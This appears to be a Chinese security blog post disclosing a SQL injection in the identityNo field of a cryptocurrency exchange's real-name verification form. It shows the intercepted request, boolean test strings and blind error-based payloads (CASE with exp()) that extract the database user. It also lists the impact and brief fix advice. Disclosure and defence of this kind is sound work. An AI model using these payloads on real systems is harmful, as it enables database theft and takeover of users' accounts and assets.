- A+
所属分类:技术
0x01 漏洞分析
- 此漏洞触发点需要用户登录后才能触发
- 此漏洞注入点在实名认证的证件号码中
我们随便填写后点击提交,抓包能看到以下参数,其中注入点就在 identityNo 参数中。
realName=%E9%98%BF%E8%90%A8%E5%BE%B7&identityType=0&identityNo=123456798123456789
测试添加 ‘or’1’=’1 提示身份证已存在。
测试添加 ‘or’1’=’2 则提示 系统繁忙。
很明显,此处执行了我们构造的SQL语句,可根据此回显特征进行注入。
猜测当前user()的长度
' or 1=case when length(user())=1 then 1 else exp(0) end or '1'='1
由上图发现当前用户长度为 22
猜测当前用户名
' or 1=case when mid(user(),1,1)=' a' then 1 else exp(11111) end or '1'='1
由上图即可得出当前用户 otcuser@172.*.*.14
0x02 漏洞危害
攻击者可利用此漏洞获取数据库中的敏感数据,例如网站用户的账号密码、管理员的账号密码、用户手机的验证码等敏感信息,获取到此类敏感信息攻击者可匹配碰撞用户的MD5然后读取数据库的验证码即可登录用户账号进行一系列操作,鉴于此漏洞危机用户资产,故DVP漏洞平台在此套源码使用量将近无的情况下公开此类漏洞,希望所有交易所与开发人员注意规避防御此类漏洞,避免用户资产受威胁。
0x03修复建议:
不信任用户输入的任何参数,对用户输入的每一个输入点进行过滤,敏感操作请求携带CSRF_TOKEN避免用户重放操作。
- 我的微信
- 这是我的微信扫一扫
- 我的电报
- 这是我的电报扫一扫